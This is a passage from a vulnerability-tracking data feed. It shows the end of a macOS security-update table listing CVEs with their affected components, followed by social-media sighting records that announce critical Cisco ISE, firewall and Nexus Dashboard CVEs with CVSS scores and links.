files\n        TBDTBD\n        YesYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84497\n        Model I/O\n        Opening a maliciously crafted file may lead to unexpected process termination\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-84615\n        Music\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesNoNoNoYesNoYesNoNo\n      \n      \n        CVE-2026-43695\n        NetworkExtension\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84585\n        NetworkExtension\n        An app may be able to access local network devices without user consent\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84626\n        NetworkExtension\n        An app may be able to identify what other apps a user has installed\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-86902\n        NSDocument\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84629\n        Photos Storage\n        An app may be able to fingerprint the user\n        TBDTBD\n        YesNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84623\n        Power Management\n        An app may be able to fingerprint the device\n        TBDTBD\n        YesYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84578\n        quarantine\n        An app may be able to break out of its sandbox\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84580\n        quarantine\n        An app may be able to break out of its sandbox\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84548\n        Quick Look\n        Processing a maliciously crafted document may lead to an out-of-bounds read\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28966\n        RealityKit\n        Processing a maliciously crafted file may lead to unexpected app termination\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-84532\n        RealityKit\n        Opening a maliciously crafted file may cause unexpected process termination or disclose process memory\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-65403\n        Reminders\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesYesYesYesNoYesYesNoNo\n      \n      \n        CVE-2026-86897\n        Safe Browsing\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesYesNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-65380\n        Sandbox\n        An app may be able to access protected user data\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84551\n        Sandbox\n        An app may be able to bypass network restrictions\n        TBDTBD\n        YesNoYesNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-84603\n        Sandbox Profiles\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoNoNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-84625\n        Sandbox Profiles\n        An app may be able to fingerprint the user\n        TBDTBD\n        YesNoYesNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-43697\n        SceneKit\n        Processing a maliciously crafted 3D file may lead to an out-of-bounds read\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84526\n        SceneKit\n        Processing a maliciously crafted 3D scene may lead to unexpected process termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84546\n        SceneKit\n        Processing a maliciously crafted 3D model may lead to memory corruption\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84620\n        SceneKit\n        Processing a maliciously crafted 3D model may lead to memory corruption\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84531\n        Security\n        Processing maliciously crafted NTLM input may lead to unexpected app termination\n        TBDTBD\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86881\n        Security\n        An attacker with a compromised intermediate certificate authority may be able to issue certificates with arbitrary extended key usages\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84600\n        Shortcuts\n        A malicious shortcut may be able to send messages without user confirmation\n        TBDTBD\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-86884\n        Siri\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoYesNoNoYesYesNoNoNo\n      \n      \n        CVE-2026-86890\n        Siri Suggestions\n        An attacker with physical access to a locked device may be able to view sensitive user information\n        TBDTBD\n        YesYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65376\n        SMB\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84509\n        SMB\n        Connecting to a malicious SMB server may lead to unexpected system termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84609\n        Software Update\n        An app may be able to modify protected system files\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65361\n        SoftwareUpdate\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65378\n        Spotlight\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84621\n        Spotlight\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86892\n        SpringBoard\n        An app may be able to cause a denial-of-service\n        TBDTBD\n        YesYesNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65345\n        Storage\n        An app may be able to access user-sensitive data\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65348\n        Storage\n        An app may be able to modify protected parts of the file system\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43791\n        StorageKit\n        An app may be able to read arbitrary files\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84513\n        Symptom Framework\n        A malicious application may be able to determine a user's current location\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65383\n        System Settings\n        An app may bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86909\n        System Settings\n        An app may be able to bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84527\n        TCC\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84589\n        TCC\n        An app may be able to modify Privacy preferences\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86886\n        TCC\n        An app may be able to modify protected system files\n        TBDTBD\n        YesYesNoNoNoNoYesNoNoNo\n      \n      \n        CVE-2026-65329\n        Telephony\n        An attacker in a privileged network position may be able to bypass IPSec authentication and intercept network traffic\n        TBDTBD\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86887\n        Time Zone\n        An app may be able to bypass certain Privacy preferences\n        TBDTBD\n        YesYesNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-43696\n        Touch Bar\n        An app may be able to capture Touch Bar content without authorization\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84572\n        udf\n        An app may be able to cause unexpected system termination or read kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28899\n        WebDAV\n        An app may bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65375\n        WebDAV\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-84635\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process termination\n        TBDTBD\n        YesNoYesNoNoYesYesYesYesNo\n      \n      \n        CVE-2026-86898\n        WebKit\n        Opening a maliciously crafted webarchive file may lead to universal cross-site scripting\n        TBDTBD\n        YesNoYesNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-84636\n        Wi-Fi Connectivity\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-43674\n        Wi-Fi3\n        An attacker with physical access to an unlocked device may be able to view Wi-Fi passwords without authentication\n        TBDTBD\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n    \n    \n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nWe\u2019ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.", "creation_timestamp": "2026-09-16T22:01:19.475807Z"}, {"uuid": "9f460202-2479-47fe-a119-0243c2bfce5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20325", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvo5r2vmik2b", "content": "CVE-2026-20325 - cisco nexus dashboard\nThe Cisco Nexus Dashboard software can incorrectly handle special characters in commands, allowing unexpected actions to be executed. This could let an attacker influence the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T22:10:09.079543Z"}, {"uuid": "fd6f6a01-76db-4dfc-b141-396d39cc49dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20284", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5ryaqbm2t", "content": "\ud83d\udea8 CVE-2026-20284 \u2014 CVSS 9.1 CRITICAL\n\nA vulnerability in the SXP REST API of Cisco ISE could allow an authenticated, remote attacker to conduct S...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20284\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:10:38.954618Z"}, {"uuid": "004b125e-8a6f-45f1-9b82-8d5505442df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20120", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117282986346582236", "content": "We have just added an important vulnerability affecting Cisco Secure Firewall Adaptive Security Appliance Software and Secure Firewall Threat Defense Software (CVE-2026-20120) https://vuldb.com/vuln/406185", "creation_timestamp": "2026-09-16T22:05:49.716694Z"}, {"uuid": "9f5089f6-b6ea-4f6e-8608-3e6762aad701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20130", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5n7wpne2j", "content": "\ud83d\udea8 CVE-2026-20130 \u2014 CVSS 10 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Service...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20130\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:07:59.320256Z"}, {"uuid": "fa98a968-81c7-4135-8d98-d9d839a3d9ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20176", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5ninq4p2f", "content": "\ud83d\udea8 CVE-2026-20176 \u2014 CVSS 9.1 CRITICAL\n\nA vulnerability in Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20176\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:08:08.100082Z"}, {"uuid": "b56927c2-da71-4e0d-ae24-5c456080f0b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20192", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5nrwkb22b", "content": "\ud83d\udea8 CVE-2026-20192 \u2014 CVSS 10 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Service...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20192\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:08:18.303857Z"}, {"uuid": "addf4e0e-d7cf-47ce-9762-7229b7c93dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20194", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5nzmpjr2p", "content": "\ud83d\udea8 CVE-2026-20194 \u2014 CVSS 9.1 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Service...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20194\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:08:25.682704Z"}, {"uuid": "25924948-410f-40f9-807f-50b7dfa4f4f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20211", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5obhphl2t", "content": "\ud83d\udea8 CVE-2026-20211 \u2014 CVSS 9.1 CRITICAL\n\nA vulnerability in Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20211\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:08:34.145358Z"}, {"uuid": "13feaf79-1e61-40c2-9c93-82b81b8977c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20237", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5ojktqr2p", "content": "\ud83d\udea8 CVE-2026-20237 \u2014 CVSS 9.1 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Service...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20237\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:08:42.467854Z"}, {"uuid": "5d537bdc-f074-46da-8305-e7529aa6b503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20242", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5otgajj2p", "content": "\ud83d\udea8 CVE-2026-20242 \u2014 CVSS 9.8 CRITICAL\n\nA vulnerability in the External Database Access feature of Cisco Secure Firewall Management Center (FMC) So...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20242\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:08:52.760927Z"}, {"uuid": "eb1d98e0-cf91-46fa-857a-316886f007b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20322", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5p3dvyd22", "content": "\ud83d\udea8 CVE-2026-20322 \u2014 CVSS 9.9 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard&...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20322\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:09:01.375046Z"}, {"uuid": "e2f49300-4cd6-4001-97f2-ad40d6cd0d3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20324", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5pdiubl2f", "content": "\ud83d\udea8 CVE-2026-20324 \u2014 CVSS 9.9 CRITICAL\n\nA vulnerability in the sftunnel inter-device communication protocol of Cisco Secure Firewall Management Cen...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20324\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:09:09.764097Z"}, {"uuid": "df3c368d-5441-46d3-8792-73dd3c0dc3f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20325", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5plqdr42j", "content": "\ud83d\udea8 CVE-2026-20325 \u2014 CVSS 9.9 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard&...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20325\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:09:18.474632Z"}, {"uuid": "7306dbe6-08ed-429f-b896-a243b5b6e15e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20326", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5pu5jx224", "content": "\ud83d\udea8 CVE-2026-20326 \u2014 CVSS 9.8 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20326\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:09:27.309767Z"}, {"uuid": "6f9938e6-a1a4-458d-b0a0-33172a9cba74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20329", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5q4eoga2n", "content": "\ud83d\udea8 CVE-2026-20329 \u2014 CVSS 9.9 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20329\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:09:35.761253Z"}, {"uuid": "e208f705-bf78-476d-a04f-8ffde26d4dc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20330", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5qehaft2r", "content": "\ud83d\udea8 CVE-2026-20330 \u2014 CVSS 9.9 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20330\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:09:44.179813Z"}, {"uuid": "290384f2-02ef-424f-b36c-06c2133427fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20341", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5qn7ga32r", "content": "\ud83d\udea8 CVE-2026-20341 \u2014 CVSS 9.1 CRITICAL\n\nA vulnerability in the sftunnel inter-device communication protocol of Cisco Secure FMC Software could allo...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20341\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:09:53.272948Z"}, {"uuid": "8267cd30-b93f-4cca-a557-33be82850ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20332", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvo5sa63xt2f", "content": "\ud83d\udea8 CVE-2026-20332 \u2014 CVSS 9.9 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20332\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T22:10:46.845989Z"}, {"uuid": "01f74ce8-9013-40ac-8368-f8f8db01c6d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20331", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117283037933835973", "content": "We have just added an important vulnerability affecting Cisco Secure Adaptive Security Appliance Software and other products (CVE-2026-20331) https://vuldb.com/vuln/406045", "creation_timestamp": "2026-09-16T22:18:56.858199Z"}, {"uuid": "0788f6ff-dc64-4706-b3ed-ebc8c5ee02da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20324", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvo6cx5hpu2t", "content": "CVE-2026-20324 - cisco secure firewall management center (fmc)\nThe Cisco Secure Firewall Management Center's internal sftunnel communication can be abused by someone who already has a valid user account. By sending a\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T22:20:08.269513Z"}, {"uuid": "1ab59f6d-2231-4595-905d-b648fe12012e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20192", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvo6uqakxh24", "content": "CVE-2026-20192 - cisco identity services engine software\nThe Cisco Identity Services Engine and its Passive Identity Connector have been found to let users bypass normal permission checks. This could let someone view\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T22:30:04.834364Z"}, {"uuid": "090ceaea-46b4-4396-a4bb-5cf32d6d9bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20130", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvo6usduf62r", "content": "CVE-2026-20130 - cisco identity services engine software\nThe Cisco Identity Services Engine and its Passive Identity Connector can mistakenly process certain characters, which could let attackers interfere with how the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T22:30:06.768770Z"}, {"uuid": "b33a5ecd-8f15-419f-b34b-d67a85fed4c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20237", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvo7gqdrt72r", "content": "CVE-2026-20237 - cisco identity services engine software\nThe Cisco Identity Services Engine and its Passive Identity Connector have flaws that do not properly verify data they receive. This could allow a malicious user\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T22:40:08.455414Z"}, {"uuid": "bf471b91-741d-477e-bb92-df15d6ff6f64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20242", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvo7yk2r6n2f", "content": "CVE-2026-20242 - cisco secure firewall management center (fmc)\nThe Cisco Secure Firewall Management Center can be tricked into running any command as the system administrator if an attacker controls a host that is\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T22:50:06.547537Z"}, {"uuid": "2c66bcc7-8c7f-4ff1-825d-ff3141168f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20341", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvo7ymv5ka2t", "content": "CVE-2026-20341 - cisco secure firewall management center (fmc)\nSomeone who already has an admin login to Cisco Secure Firewall Management Center can send specially crafted messages and take complete control of the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T22:50:09.071194Z"}, {"uuid": "ab116047-d04d-4327-8069-9ad25a418f9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20176", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvoakhaob222", "content": "CVE-2026-20176 - cisco identity services engine software\nCisco Identity Services Engine (ISE) can be tricked by someone who already has a high-level admin account into running any command on the underlying system. This\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T23:00:07.317396Z"}, {"uuid": "8f720212-3d37-4ead-9a0c-fda866c66a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20194", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvoakjqbhp2f", "content": "CVE-2026-20194\nThe Cisco Identity Services Engine and its Passive Identity Connector contain coding errors that could cause data to be moved between internal components incorrectly. This could let an attacker influence how\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-16T23:00:09.571466Z"}, {"uuid": "fac4c86d-2294-4b39-80e7-e397944bf407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mvob2dc3tq26", "content": "Every unpatched Cisco $CSCO Secure Firewall Management Center is now being hit by two attacker types at once. CVE-2026-20079, a maximum-severity (CVSS 10.0) auth bypass, is under active exploitation by state-sponsored and ransomware groups, per Cisco Talos. Patch deadline passed Sept 12.", "creation_timestamp": "2026-09-16T23:09:00.775163Z"}, {"uuid": "3c358c06-71c5-48a5-893d-bd7272716254", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20211", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvob4b4aoi2f", "content": "CVE-2026-20211\nCisco Identity Services Engine (ISE) can be tricked by someone who already has high\u2011level admin credentials into running any command on the server\u2019s operating system. This could let the attacker gain full\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-16T23:10:04.780062Z"}, {"uuid": "6702ed74-6efb-47d0-bfe8-685b100b5e4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20322", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvob4d5uwl22", "content": "CVE-2026-20322\nThe Nexus Dashboard software on Cisco devices has a flaw that could let people bypass normal permission checks and gain access they shouldn\u2019t have. This could expose sensitive configuration data or allow\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-16T23:10:06.835699Z"}, {"uuid": "ef449ab4-26d4-41b3-84f2-2f299adfff86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20248", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117283249464300274", "content": "A new vulnerability with increased severity was disclosed for Cisco Secure Firewall Adaptive Security Appliance Software and Secure Firewall Threat Defense Software (CVE-2026-20248) https://vuldb.com/vuln/406187", "creation_timestamp": "2026-09-16T23:12:44.561611Z"}, {"uuid": "bc6823f8-14cf-44ef-aafc-620ee611d2fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20326", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvobo6etv52j", "content": "CVE-2026-20326\nThe Cisco Nexus Dashboard software was found to let people perform important actions without proving who they are. That could let an attacker change settings or view sensitive data. Apply the latest Cisco\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": 